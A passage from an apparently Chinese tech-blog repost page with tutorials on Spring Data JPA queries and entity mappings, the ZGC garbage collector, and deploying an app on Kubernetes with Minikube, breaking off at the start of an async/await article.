        private String custName;
        
        @Column(name="cust_source")//指定和表中cust_source字段的映射關係
        private String custSource;
        
        @Column(name="cust_industry")//指定和表中cust_industry字段的映射關係
        private String custIndustry;
        
        @Column(name="cust_level")//指定和表中cust_level字段的映射關係
        private String custLevel;
        
        @Column(name="cust_address")//指定和表中cust_address字段的映射關係
        private String custAddress;
        
        @Column(name="cust_phone")//指定和表中cust_phone字段的映射關係
        private String custPhone;
        
        //添加get,set方法,toString方法
    }

    3、編寫符合Spring Data JPA規範的Dao層接口,繼承JpaRepository<T,ID>和JpaSpecificationExecutor<T>

     *     JpaRepository<操作的實體類類型,實體類中主鍵屬性的類型>
     *              *封裝了基本CURD操作
     *     JpaSpecificationExecutor<操作的實體類類型>
     *              *封裝了複雜查詢(分頁)
    package top.biyenanhai.dao;
    
    import org.springframework.data.jpa.repository.JpaRepository;
    import org.springframework.data.jpa.repository.JpaSpecificationExecutor;
    import org.springframework.data.jpa.repository.Modifying;
    import org.springframework.data.jpa.repository.Query;
    import top.biyenanhai.domain.Customer;
    
    import java.util.List;
    
    /**
     * Created with IntelliJ IDEA.
     *
     * @Auther: 畢業男孩
     *
     * 符合SpringDataJpa的dao接口規範
     *      JpaRepository<操作的實體類類型,實體類中主鍵屬性的類型>
     *              *封裝了基本CURD操作
     *      JpaSpecificationExecutor<操作的實體類類型>
     *              *封裝了複雜查詢(分頁)
     *
     */
    public interface CustomerDao extends JpaRepository<Customer, Long>, JpaSpecificationExecutor<Customer> {
    
        /**
         * 案例:根據客戶名稱查詢客戶
         *      使用jpql的形式查詢
         *
         *  jpql:from Customer where custName = ?
         *
         *  配置jpql語句,使用@Query註解
         */
        @Query(value="from Customer where custName = ? ")
        Customer findJpql(String custName);
    
        /**
         * 案例:根據客戶名稱和客戶id查詢客戶
         *      jqpl:from Customer where cutName = ? and custId = ?
         *
         *   對於多個佔位符參數
         *          賦值的時候,默認的情況下,佔位符的位置需要和方法參數中的位置保持一致
         *   可以指定佔位符參數的位置
         *          ?索引的方式,指定此佔位的取值來源
         */
        @Query(value = "from Customer where custName=?2 and custId=?1")
        Customer findCustNameAndCustId(Long id,String name);
    
    
        /**
         * 使用jpql完成更新操作
         *      案例:根據id更新,客戶的名稱
         *          更新4號客戶的名稱,將名稱改為“老男孩”
         *
         *
         * sql:update cst_customer set cust_name = ?where cust_id=?
         * jpql:update Customer set custName=? where custId=?
         *
         * @Query:代表的是進行查詢
         *      聲明此方法是用來更新操作
         * @Modifying:當前執行的是一個更新操作
         */
        @Query(value = "update Customer set custName=?2 where custId=?1")
        @Modifying
        void updateCustomer(long id, String custName);
    
    
        /**
         * 使用sql的形式查詢:
         *      查詢全部的客戶
         *      sql:select * from cst_custimer;
         *      Query:配置sql查詢
         *          value: sql語句
         *          nativeQuery: 查詢方式
         *              true:sql查詢
         *              false:jpql查詢
         */
    //    @Query(value = "select * from cst_customer", nativeQuery = true)  //查詢全部
    
        @Query(value = "select * from cst_customer where cust_name like ?1",nativeQuery = true) //條件查詢
        List<Object[]> findSql(String name);
    
    
        /**
         * 方法名的約定:
         *      findBy:查詢
         *          對象中的屬性名(首字母大寫):查詢的條件
         *          CustName
         *          *默認情況:使用 等於的方式查詢
         *              特殊的查詢方式
         * findByCustName --  根據客戶名稱查詢
         *
         * 在springdataJpa的運行階段
         *      會根據方法名稱進行解析  findBy  from xxx(實體類)
         *                                  屬性名稱    where custName =
         *
         *
         *      1、findBy + 屬性名稱(根據屬性名稱進行完成匹配的查詢=)
         *      2、findBy + 屬性名稱 + “查詢方式(Like|isnull)”
         *      3、多條件查詢
         *          findBy + 屬性名 + "查詢條件" + "多條件的連接符(and|or)" + 屬性名 + “查詢方式”
         *
         */
        Customer findByCustName(String custName);
    
        List<Customer> findByCustNameLike(String name);
    
        List<Customer> findByCustNameLikeAndCustIndustry(String name, String industry);
    
    }

    4、測試基本CRUD操作

    @RunWith(SpringJUnit4ClassRunner.class) //聲明spring提供的單元測試環境
    @ContextConfiguration(locations = "classpath:applicationContext.xml")//指定spring容器的配置信息
    public class CustomerDaoTest {
    
        @Autowired
        private CustomerDao customerDao;
    
        /**
         * 根據id查詢
         */
        @Test
        public void testFindOne(){
            Customer customer = customerDao.findOne(1l);
            System.out.println(customer);
        }
    ......
        
        /**
         * 測試jqpl的更新操作
         * 更新和刪除操作要加上事務的註解
         *
         * springDataJpa中使用jpql完成  更新/刪除操作
         *          需要手動添加事務的支持
         *          默認回執行結束之後,回滾事務
         *    @Rollback:設置是否自動回滾
         */
        @Test
        @Transactional//添加事務的支持
        @Rollback(false)
        public void testUpdate(){
            customerDao.updateCustomer(1l, "航空航天科技有限公司");
        }
    ......

    5、具體關鍵字,使用方法和生產成SQL如下錶所示

    Keyword

    Sample

    JPQL

    And

    findByLastnameAndFirstname

    … where x.lastname = ?1 and x.firstname = ?2

    Or

    findByLastnameOrFirstname

    … where x.lastname = ?1 or x.firstname = ?2

    Is,Equals

    findByFirstnameIs,

    findByFirstnameEquals

    … where x.firstname = ?1

    Between

    findByStartDateBetween

    … where x.startDate between ?1 and ?2

    LessThan

    findByAgeLessThan

    … where x.age < ?1

    LessThanEqual

    findByAgeLessThanEqual

    … where x.age ?1

    GreaterThan

    findByAgeGreaterThan

    … where x.age > ?1

    GreaterThanEqual

    findByAgeGreaterThanEqual

    … where x.age >= ?1

    After

    findByStartDateAfter

    … where x.startDate > ?1

    Before

    findByStartDateBefore

    … where x.startDate < ?1

    IsNull

    findByAgeIsNull

    … where x.age is null

    IsNotNull,NotNull

    findByAge(Is)NotNull

    … where x.age not null

    Like

    findByFirstnameLike

    … where x.firstname like ?1

    NotLike

    findByFirstnameNotLike

    … where x.firstname not like ?1

    StartingWith

    findByFirstnameStartingWith

    … where x.firstname like ?1 (parameter bound with appended %)

    EndingWith

    findByFirstnameEndingWith

    … where x.firstname like ?1 (parameter bound with prepended %)

    Containing

    findByFirstnameContaining

    … where x.firstname like ?1 (parameter bound wrapped in %)

    OrderBy

    findByAgeOrderByLastnameDesc

    … where x.age = ?1 order by x.lastname desc

    Not

    findByLastnameNot

    … where x.lastname <> ?1

    In

    findByAgeIn(Collection ages)

    … where x.age in ?1

    NotIn

    findByAgeNotIn(Collection age)

    … where x.age not in ?1

    TRUE

    findByActiveTrue()

    … where x.active = true

    FALSE

    findByActiveFalse()

    … where x.active = false

    IgnoreCase

    findByFirstnameIgnoreCase

    … where UPPER(x.firstame) = UPPER(?1)

     

    六、Specifications動態查詢:

      有時我們在查詢某個實體的時候,給定的條件是不固定的,這時就需要動態構建相應的查詢語句,在Spring Data JPA中可以通過JpaSpecificationExecutor接口查詢。相比JPQL,其優勢是類型安全,更加的面向對象。對於JpaSpecificationExecutor,這個接口基本是圍繞着Specification接口來定義的。我們可以簡單的理解為,Specification構造的就是查詢條件。

    /**
        *    root    :Root接口,代表查詢的根對象,可以通過root獲取實體中的屬性
        *    query    :代表一個頂層查詢對象,用來自定義查詢
        *    cb        :用來構建查詢,此對象里有很多條件方法
        **/
        public Predicate toPredicate(Root<T> root, CriteriaQuery<?> query, CriteriaBuilder cb);

    案例:使用Specifications完成條件查詢

    //依賴注入customerDao
        @Autowired
        private CustomerDao customerDao;    
        @Test
        public void testSpecifications() {
              //使用匿名內部類的方式,創建一個Specification的實現類,並實現toPredicate方法
            Specification <Customer> spec = new Specification<Customer>() {
                public Predicate toPredicate(Root<Customer> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                    //cb:構建查詢,添加查詢方式   like:模糊匹配
                    //root:從實體Customer對象中按照custName屬性進行查詢
                    return cb.like(root.get("custName").as(String.class), "航天航空%");
                }
            };
            Customer customer = customerDao.findOne(spec);
            System.out.println(customer);
        }

    案例:基於Specifications的分頁查詢

    @Test
        public void testPage() {
            //構造查詢條件
            Specification<Customer> spec = new Specification<Customer>() {
                public Predicate toPredicate(Root<Customer> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                    return cb.like(root.get("custName").as(String.class), "航天%");
                }
            };
            
            /**
             * 構造分頁參數
             *         Pageable : 接口
             *             PageRequest實現了Pageable接口,調用構造方法的形式構造
             *                 第一個參數:頁碼(從0開始)
             *                 第二個參數:每頁查詢條數
             */
            Pageable pageable = new PageRequest(0, 5);
            
            /**
             * 分頁查詢,封裝為Spring Data Jpa 內部的page bean
             *         此重載的findAll方法為分頁方法需要兩個參數
             *             第一個參數:查詢條件Specification
             *             第二個參數:分頁參數
             */
            Page<Customer> page = customerDao.findAll(spec,pageable);
            
        }

    對於Spring Data JPA中的分頁查詢,是其內部自動實現的封裝過程,返回的是一個Spring Data JPA提供的pageBean對象。其中的方法說明如下:

    //獲取總頁數
    int getTotalPages();
    //獲取總記錄數    
    long getTotalElements();
    //獲取列表數據
    List<T> getContent();

    方法對應關係:

    方法名稱

    Sql對應關係

    equal

    filed = value

    gt(greaterThan )

    filed > value

    lt(lessThan )

    filed < value

    ge(greaterThanOrEqualTo )

    filed >= value

    le( lessThanOrEqualTo)

    filed <= value

    notEqual

    filed != value

    like

    filed like value

    notLike

    filed not like value

    七、JPA中的一對多:

    實體類(一對多,一的實體類)

    /**
     * 客戶的實體類
     * 明確使用的註解都是JPA規範的
     * 所以導包都要導入javax.persistence包下的
     */
    @Entity//表示當前類是一個實體類
    @Table(name="cst_customer")//建立當前實體類和表之間的對應關係
    public class Customer implements Serializable {
        
        @Id//表明當前私有屬性是主鍵
        @GeneratedValue(strategy=GenerationType.IDENTITY)//指定主鍵的生成策略
        @Column(name="cust_id")//指定和數據庫表中的cust_id列對應
        private Long custId;
        @Column(name="cust_name")//指定和數據庫表中的cust_name列對應
        private String custName;
        
        //配置客戶和聯繫人的一對多關係
        @OneToMany(targetEntity=LinkMan.class)
        @JoinColumn(name="lkm_cust_id",referencedColumnName="cust_id")
        private Set<LinkMan> linkmans = new HashSet<LinkMan>();

    ...get,set方法

    實體類(一對多,多的實體類)

    /**
     * 聯繫人的實體類(數據模型)
     */
    @Entity
    @Table(name="cst_linkman")
    public class LinkMan implements Serializable {
        @Id
        @GeneratedValue(strategy=GenerationType.IDENTITY)
        @Column(name="lkm_id")
        private Long lkmId;
        @Column(name="lkm_name")
        private String lkmName;
        @Column(name="lkm_gender")
        private String lkmGender;
        @Column(name="lkm_phone")
        private String lkmPhone;
    
        //多對一關係映射:多個聯繫人對應客戶
        @ManyToOne(targetEntity=Customer.class)
        @JoinColumn(name="lkm_cust_id",referencedColumnName="cust_id")
        private Customer customer;//用它的主鍵,對應聯繫人表中的外鍵

    ...get,set方法

    八、JPA中的多對多:

    /**
     * 用戶的數據模型
     */
    @Entity
    @Table(name="sys_user")
    public class SysUser implements Serializable {
        
        @Id
        @GeneratedValue(strategy=GenerationType.IDENTITY)
        @Column(name="user_id")
        private Long userId;
        @Column(name="user_name")
        private String userName;
    
        
        //多對多關係映射
        @ManyToMany(mappedBy="users")
        private Set<SysRole> roles = new HashSet<SysRole>();
    /**
     * 角色的數據模型
     */
    @Entity
    @Table(name="sys_role")
    public class SysRole implements Serializable {
        
        @Id
        @GeneratedValue(strategy=GenerationType.IDENTITY)
        @Column(name="role_id")
        private Long roleId;
        @Column(name="role_name")
        private String roleName;
        
        //多對多關係映射
        @ManyToMany
        @JoinTable(name="user_role_rel",//中間表的名稱
                  //中間表user_role_rel字段關聯sys_role表的主鍵字段role_id
                  joinColumns={@JoinColumn(name="role_id",referencedColumnName="role_id")},
                  //中間表user_role_rel的字段關聯sys_user表的主鍵user_id
                  inverseJoinColumns={@JoinColumn(name="user_id",referencedColumnName="user_id")}
        )
        private Set<SysUser> users = new HashSet<SysUser>();

     

    映射的註解說明

    @OneToMany:
           作用:建立一對多的關係映射
        屬性:
            targetEntityClass:指定多的多方的類的字節碼
            mappedBy:指定從表實體類中引用主表對象的名稱。
            cascade:指定要使用的級聯操作
            fetch:指定是否採用延遲加載
    
    @ManyToOne
        作用:建立多對一的關係
        屬性:
            targetEntityClass:指定一的一方實體類字節碼
            cascade:指定要使用的級聯操作
            fetch:指定是否採用延遲加載
            optional:關聯是否可選。如果設置為false,則必須始終存在非空關係。
    
    @JoinColumn
         作用:用於定義主鍵字段和外鍵字段的對應關係。
         屬性:
            name:指定外鍵字段的名稱
            referencedColumnName:指定引用主表的主鍵字段名稱
            unique:是否唯一。默認值不唯一
            nullable:是否允許為空。默認值允許。
            insertable:是否允許插入。默認值允許。
            updatable:是否允許更新。默認值允許。
            columnDefinition:列的定義信息。

     

    九、Spring Data JPA中的多表查詢:

      對象導航查詢:對象導航檢索方式是根據已經加載的對象,導航到他的關聯對象。它利用類與類之間的關係來檢索對象。例如:我們通過ID查詢方式查出一個客戶,可以調用Customer類中的getLinkMans()方法來獲取該客戶的所有聯繫人。對象導航查詢的使用要求是:兩個對象之間必須存在關聯關係。

    //查詢一個客戶,獲取該客戶下的所有聯繫人
    @Autowired
    private CustomerDao customerDao;
        
    @Test
    //由於是在java代碼中測試,為了解決no session問題,將操作配置到同一個事務中
    @Transactional 
    public void testFind() {
        Customer customer = customerDao.findOne(5l);
        Set<LinkMan> linkMans = customer.getLinkMans();//對象導航查詢
        for(LinkMan linkMan : linkMans) {
              System.out.println(linkMan);
        }
    }
    //查詢一個聯繫人,獲取該聯繫人的所有客戶
    @Autowired
    private LinkManDao linkManDao;
        
    @Test
    public void testFind() {
        LinkMan linkMan = linkManDao.findOne(4l);
        Customer customer = linkMan.getCustomer(); //對象導航查詢
        System.out.println(customer);
    }

    採用延遲加載的思想。通過配置的方式來設定當我們在需要使用時,發起真正的查詢。

    配置方式:

    /**
     * 在客戶對象的@OneToMany註解中添加fetch屬性
     *     FetchType.EAGER    :立即加載
     *     FetchType.LAZY            :延遲加載
     */
     @OneToMany(mappedBy="customer",fetch=FetchType.EAGER)
     private Set<LinkMan> linkMans = new HashSet<>();
        
    /**
     * 在聯繫人對象的@ManyToOne註解中添加fetch屬性
     *         FetchType.EAGER    :立即加載
     *         FetchType.LAZY    :延遲加載
     */
     @ManyToOne(targetEntity=Customer.class,fetch=FetchType.EAGER)
     @JoinColumn(name="cst_lkm_id",referencedColumnName="cust_id")
     private Customer customer;

    使用Specification查詢

    /**
     * Specification的多表查詢
     */
    @Test
    public void testFind() {
        Specification<LinkMan> spec = new Specification<LinkMan>() {
            public Predicate toPredicate(Root<LinkMan> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                //Join代錶鏈接查詢,通過root對象獲取
                //創建的過程中,第一個參數為關聯對象的屬性名稱,第二個參數為連接查詢的方式(left,inner,right)
                //JoinType.LEFT : 左外連接,JoinType.INNER:內連接,JoinType.RIGHT:右外連接
                Join<LinkMan, Customer> join = root.join("customer",JoinType.INNER);
                return cb.like(join.get("custName").as(String.class),"航空航天");
            }
        };
        List<LinkMan> list = linkManDao.findAll(spec);
        for (LinkMan linkMan : list) {
            System.out.println(linkMan);
        }
    }

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    南投搬家公司費用需注意的眉眉角角,別等搬了再說!

    ※教你寫出一流的銷售文案?

  • 深入理解JVM(③)ZGC收集器

    深入理解JVM(③)ZGC收集器

    前言

    ZGC是一款在JDK11中新加入的具有實驗性質的低延遲垃圾收集器,目前僅支持Linux/x86-64。ZGC收集器是一款基於Region內存布局的,(暫時)不設分代的,使用了讀屏障、染色指針和內存多重映射等技術來實現可併發的標記-整理算法的,以低延遲為首要目標的一款垃圾收集器。

    ZGC布局

    與Shenandoah和G1一樣,ZGC也採取基於Region的堆內存布局,但與他們不同的是,ZGC的Region具有動態性(動態的創建和銷毀,以及動態的區域容量大小)。
    ZGC的Region可以分為三類:

    • 小型Region:容量固定為2MB,用於放置小於256KB的小對象。
    • 中型Region:容量固定為32MB,用於放置大於等於256KB但小於4MB的對象。
    • 大型Region:容量不固定,可以動態變化,但必須為2MB的整數倍,用於存放4MB或以上的大對象。並且每個大型Region只會存放一個對象。
      ZGC內存布局圖:

    染色指針

    HotSpot的垃圾收集器,有幾種不同的標記實現方案。

    • 把標記直接記錄在對象頭上(Serial 收集器)。
    • 把標記記錄在於對象相互獨立的數據結構上(G1、Shenandoah使用了一種相當於堆內存的1/64大小的,稱為BitMap的結構來記錄標記信息)。
    • ZGC染色指針直接把標記信息記載引用對象的指針上。
      染色指針是一種直接將少量額外的信息存儲在指針上的技術。
      目前Linux下64位指針的高18位不能用來尋址,但剩餘的46位指針所能支持的64TB內存仍然鞥呢夠充分滿足大型服務器的需要。鑒於此,ZGC將其高4位提取出來存儲四個標誌信息。
      通過這些標誌虛擬機就可以直接從指針中看到器引用對象的三色標記狀態(Marked0、Marked1)、是否進入了重分配集(是否被移動過——Remapped)、是否只能通過finalize()方法才能被訪問到(Finalizable)。由於這些標誌位進一步壓縮了原本只有46位的地址空寂,導致ZGC能夠管理的內存不可以超過4TB。
      染色指針示意圖:

    染色指針的優勢

    • 染色指針可以使得一旦某個Region的存活對象被移走之後,這個Region立即就能夠被釋放和重用掉,而不必等待整個堆中所有指令向該Region的引用都被修正後才能清理。
    • 染色指針可以大幅減少在垃圾收集過程中內存屏障的使用數量,設置內存屏障,尤其是在寫屏障的目的通常是為了記錄對象引用的變動情況,如果將這些信息直接維護在指針中,顯然就可以省去一些專門的記錄操作。
    • 染色指針可以作為一種可擴展的存儲結構用來記錄更多與對象標記、重定位過程相關的數據,以便日後進一步提高性能。

    內存多重映射

    Linux/x86-64平台上ZGC使用了多重映射(Multi-Mapping)將多個不同的虛擬內存地址映射到同一物理內存地址上,這是一種多對一映射,意味着ZGC在虛擬內存中看到的地址空寂要比實際的堆內存容量來的更大。把染色指針中的標誌位看作是地址的分段符,那隻要將這些不同的地址段都映射到同一物理內褲空間,經過多重映射轉換后,就可以使用染色指針正常進行尋址了。
    多重映射下的尋址:

    ZGC的運作過程

    ZGC的運作過程大致可劃分為以下四個大的階段。四個階段都是可以併發執行的,僅是兩個階段中間會存在短暫的停頓小階段。
    運作過程如下:

    • 併發標記(Concurrent Mark): 與G1、Shenandoah一樣,併發標記是遍歷對象圖做可達性分析的階段,前後也要經過類似於G1、Shenandoah的初始標記、最終標記的短暫停頓,而且這些停頓階段所做的事情在目標上也是相類似的。
    • 併發預備重分配( Concurrent Prepare for Relocate): 這個階段需要根據特定的查詢條件統計得出本次收集過程要清理哪些Region,將這些Region組成重分配集(Relocation Set)。
    • 併發重分配(Concurrent Relocate): 重分配是ZGC執行過程中的核心階段,這個過程要把重分配集中的存活對象複製到新的Region上,併為重分配集中的每個Region維護一個轉發表(Forward Table),記錄從舊對象到新對象的轉向關係。
    • 併發重映射(Concurrent Remap): 重映射所做的就是修正整個堆中指向重分配集中舊對象的所有引用,ZGC的併發映射並不是以一個必須要“迫切”去完成的任務。ZGC很巧妙地把併發重映射階段要做的工作,合併到下一次垃圾收集循環中的併發標記階段里去完成,反正他們都是要遍歷所有對象的,這樣合併節省了一次遍歷的開銷。

    ZGC的優劣勢

    • 缺點:浮動垃圾
      當ZGC準備要對一個很大的堆做一次完整的併發收集,駕駛其全過程要持續十分鐘以上,由於應用的對象分配速率很高,將創造大量的新對象,這些新對象很難進入當次收集的標記範圍,通常就只能全部作為存活對象來看待(儘管其中絕大部分對象都是朝生夕滅),這就產生了大量的浮動垃圾。
      目前唯一的辦法就是盡可能地去增加堆容量大小,獲取更多喘息的時間。但若要從根本上解決,還是需要引入分代收集,讓新生對象都在一個專門的區域中創建,然後針對這個區域進行更頻繁、更快的收集。
    • 優點:高吞吐量、低延遲
      ZGC是支持“NUMA-Aware”的內存分配。MUMA(Non-Uniform Memory Access,非統一內存訪問架構)是一種多處理器或多核處理器計算機所設計的內存架構。
      現在多CPU插槽的服務器都是Numa架構,比如兩顆CPU插槽(24核),64G內存的服務器,那其中一顆CPU上的12個核,訪問從屬於它的32G本地內存,要比訪問另外32G遠端內存要快得多。
      ZGC默認支持NUMA架構,在創建對象時,根據當前線程在哪個CPU執行,優先在靠近這個CPU的內存進行分配,這樣可以顯著的提高性能,在SPEC JBB 2005 基準測試里獲得40%的提升。

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※別再煩惱如何寫文案,掌握八大原則!

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 【K8s學習筆記】K8s是如何部署應用的?

    【K8s學習筆記】K8s是如何部署應用的?

    本文內容

    本文致力於介紹K8s一些基礎概念與串聯部署應用的主體流程,使用Minikube實操

    基礎架構概念回顧

    溫故而知新,上一節【K8S學習筆記】初識K8S 及架構組件 我們學習了K8s的發展歷史、基礎架構概念及用途,本節講的內容建立在其上,有必要把之前的架構小節提出來回顧下:

    K8s架構分為控制平台(位於的Master節點)與執行節點Node

    控制平台包含:

    • kube-apiserver(訪問入口,接收命令)

    • etcd(KV數據庫,保存集群狀態與數據)

    • kube-scheduler(監控節點狀態,調度容器部署)

    • kube-controller-manager(監控集群狀態,控制節點、副本、端點、賬戶與令牌)

    • cloud-controller-manager(控制與雲交互的節點、路由、服務、數據卷)

    執行節點包含:

    • kubelet(監控與實際操作容器)

    • kube-proxy(每個節點上運行的網絡代理,維護網絡轉發規則,實現了Service)

    • 容器運行時環境CRI(支持多種實現K8s CRI的容器技術)

    接下來需要引入 Pod 與 Service 的概念,這也是在上一篇文章中未給出的

    Pod、Service與Label概念

    Pod概念與結構

    Pod 是 K8s最重要的基本概念,官網給出概念:Pod是Kubernates可調度的最小的、可部署的單元。怎麼理解呢?最簡單的理解是,Pod是一組容器。

    再詳細些,Pod是一組容器組成的概念,這些容器都有共同的特點:

    • 都有一個特殊的被稱為“根容器”的Pause容器。Pause容器鏡像屬於K8s平台的一部分
    • 包含一個或多個緊密相關的用戶業務容器。假設個場景:業務容器需要獨立的redis提供服務,這裏就可以將它們兩個部署在同一Pod中。

    下邊是Pod的組成示意圖:

    為什麼Kubernetes會設計出一個全新的概念與Pod會有這樣特殊的結構呢?

    • 原因之一:K8s需要將一組容器視為一個單元處理。當其中某些容器死亡了,此時無法判定這組容器的狀態。而當成一個單元,只要其中有一個容器掛了,這個單元就判定掛了。
    • 原因之二:通過Pause共享容器IP,共享Pause掛接的Volume,簡化密切關聯的業務容器之間的通信問題和文件共享問題

    K8s為每個Pod都分配了唯一的IP地址,稱為Pod IP,一個Pod里的多個容器共享Pod IP地址。需要牢記的一點是:在 kubernetes 里,一個 Pod 里的容器與另外主機上的 Pod 容器能夠直接通信。

    Pod的創建流程

    當一個普通的Pod被創建,就會被放入etcd中存儲,隨後被 K8s Master節點調度到某個具體的Node上並進行綁定(Binding),隨後該Pod被對應的Node上的kubelet進程實例化成一組相關的Docker容器並啟動。

    當Pod中有容器停止時,K8s 會自動檢測到這個問題並重啟這個 Pod(Pod里所有容器);如果Pod所在的Node宕機,就會將這個Node上的所有Pod重新調度到其他節點上。

    細心的讀者是否發現:

    當Pod越來越多,Pod IP 也越來越多,那是如何從茫茫IP地址中找到需要的服務呢?換句話來說,是否有一種提供唯一入口的機制,來完成對Pod的訪問,而無需關心訪問到具體是哪個Pod(who care :happy:)?

    Kubernetes 提供了這種機制,稱之為 Service。

    Service概念

    Service服務是Kubernetes里的核心資源對象之一,從名稱上來看,理解其為一個”服務“也不為過,Service的作用是為相同標識的一系列Pod提供唯一的訪問地址。

    Service使用的唯一地址稱為ClusterIP,僅當在集群內的容器才能通過此IP訪問到Service

    它具體實現對一系列Pod綁定,需要再引入Label的概念,才能做出解答。

    Label概念

    Kubernetes 提供了Label(標籤)來對Pod、Service、RC、Node等進行標記。相當於打標籤,Label可以是一組KV鍵值對,也可以是一個set

    一個資源對象可以定義任意數量的Label,同一個Label可以添加到任意數量的資源對象上。通常由定義資源對象時添加,創建后亦可動態添加或刪除。

    Service如何動態綁定Pods?

    原來,在定義 Pod 時,設置一系列 Label 標籤,Service 創建時定義了 Label Selector(Label Selector 可以類比為對 Label 進行 SQL 的 where 查詢),kube-proxy 進程通過 Service的Label Selector 來選擇對應的 Pod,自動建立每個 Service 到對應 Pod 的請求轉發路由表,從而實現 Service 的智能負載均衡機制。

    小結:Pod是K8s最小的執行單元,包含一個Pause容器與多個業務容器,每個Pod中容器共享Pod IP,容器之間可直接作用Pod IP通信;Label是一種標籤,它將標籤打在Pod上時,Service可以通過定義Label Selector(Label查詢規則)來選擇Pod,具體實現路由表建立的是kube-proxy

    部署應用實踐(Minikube)

    安裝kubectl需要安裝成本地服務,這裡是debian10,更多參考https://developer.aliyun.com/mirror/kubernetes

    sudo su -
    apt-get update && apt-get install -y apt-transport-https
    curl https://mirrors.aliyun.com/kubernetes/apt/doc/apt-key.gpg | apt-key add - 
    cat <<EOF >/etc/apt/sources.list.d/kubernetes.list
    deb https://mirrors.aliyun.com/kubernetes/apt/ kubernetes-xenial main
    EOF  
    apt-get update
    apt-get install -y kubelet kubectl
    exit
    

    下載安裝Minikube(阿里雲修改版):

    curl -Lo minikube-linux-amd64-1.11.0-aliyuncs http://kubernetes.oss-cn-hangzhou.aliyuncs.com/minikube/releases/v1.11.0/minikube-linux-amd64
    sudo install minikube-linux-amd64-1.11.0-aliyuncs /usr/local/bin/minikube
    

    使用魔改版是因為官方代碼里有些地方寫死了地址,而國內無法訪問

    部署k8s集群:

    minikube start --driver docker --image-repository registry.cn-hangzhou.aliyuncs.com/google_containers --kubernetes-version v1.18.3
    

    本地有docker時使用此driver,其他可選的虛擬化技術參考https://minikube.sigs.k8s.io/docs/drivers/ 選擇

    #部署一個Pod,Pod的deployment是一種默認的無狀態多備份的部署類型
    kubectl create deployment hello-minikube --image=registry.cn-hangzhou.aliyuncs.com/google_containers/echoserver:1.4
    #查看集群中當前的Pod列表
    kubectl get pods
    #創建的NodePort類型Service,將所有Node開放一個端口號,通過這個端口將流量轉發到Service以及下游Pods
    kubectl expose deployment hello-minikube --type=NodePort --port=8080
    #獲取暴露 Service 的 URL 以查看 Service 的詳細信息:
    minikube service hello-minikube --url
    #minikube提供的特色功能,直接通過瀏覽器打開剛才創建的Service的外部訪問地址
    minikube service hello-minikube
    

    自動打開瀏覽器訪問服務(Minikube特色功能)

    提示:這張圖中的request-uri的解釋是不正確的,但是與 <minikube這個唯一Node的IP>:<NodePort><Service的ClusterIP>:<ServicePort>都不是完全匹配的,不大理解這塊提示,有緣人希望可解我所惑,在此先行感謝

    查看Pod的描述信息

    kubectl describe pod hello-minikube
    

    最下方可以清楚得看到K8s集群default-scheduler成功指派我們要求的Pod在節點minikube上創建,kubelet收到信息后,拉取鏡像並啟動了容器

    部署流程原理簡述

    1. kubectl 發送創建 deployment 類型、名為hello-minikube的Pod 請求到 kube-apiserver
    2. kube-apiserver 將這條描述信息存到 etcd
    3. kube-scheduler 監控 etcd 得到描述信息,監測Node負載情況,創建Pod部署描述信息到etcd
    4. 待部署Node的kubelet監聽到 etcd 中有自己的部署Pod信息,取出信息並按圖拉取業務鏡像,創建pause容器與業務容器(此時集群外部無法訪問)
    5. kubectl 執行expose命令,同時將創建Service與NodePort信息存到etcd中
    6. 各節點kube-proxy監聽到etcd變化,創建邏輯上的Service與路由信息,開闢NodePort
    7. 當請求到達<任意Node節點IP>:<NodePort> 時,根據路由錶轉發到指定的Service上,負載均衡到Pod,提供服務

    集群外部訪問:

    參考

    • https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/
    • https://kubernetes.io/docs/concepts/services-networking/
    • https://minikube.sigs.k8s.io/docs/start/
    • https://minikube.sigs.k8s.io/docs/handbook/controls/
    • 《Kubernetes權威指南》第 4 版

    行文過程中難免出現錯誤,還請讀者評論幫忙改正,大家共同進步,在此感謝

    轉載請註明出處,文章中概念引入《Kubernetes權威指南》很多,侵權改。

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    FB行銷專家,教你從零開始的技巧

  • async/await剖析

    async/await剖析

    JavaScript是單線程的,為了避免同步阻塞可能會帶來的一些負面影響,引入了異步非阻塞機制,而對於異步執行的解決方案從最早的回調函數,到ES6Promise對象以及Generator函數,每次都有所改進,但是卻又美中不足,他們都有額外的複雜性,都需要理解抽象的底層運行機制,直到在ES7中引入了async/await,他可以簡化使用多個Promise時的同步行為,在編程的時候甚至都不需要關心這個操作是否為異步操作。

    分析

    首先使用async/await執行一組異步操作,並不需要回調嵌套也不需要寫多個then方法,在使用上甚至覺得這本身就是一個同步操作,當然在正式使用上應該將await語句放置於 try...catch代碼塊中,因為await命令後面的Promise對象,運行結果可能是rejected

    function promise(){
        return new Promise((resolve, reject) => {
           var rand = Math.random() * 2; 
           setTimeout(() => resolve(rand), 1000);
        });
    }
    
    async function asyncFunct(){
        var r1 = await promise();
        console.log(1, r1);
        var r2 = await promise();
        console.log(2, r2);
        var r3 = await promise();
        console.log(3, r3);
    }
    
    asyncFunct();
    

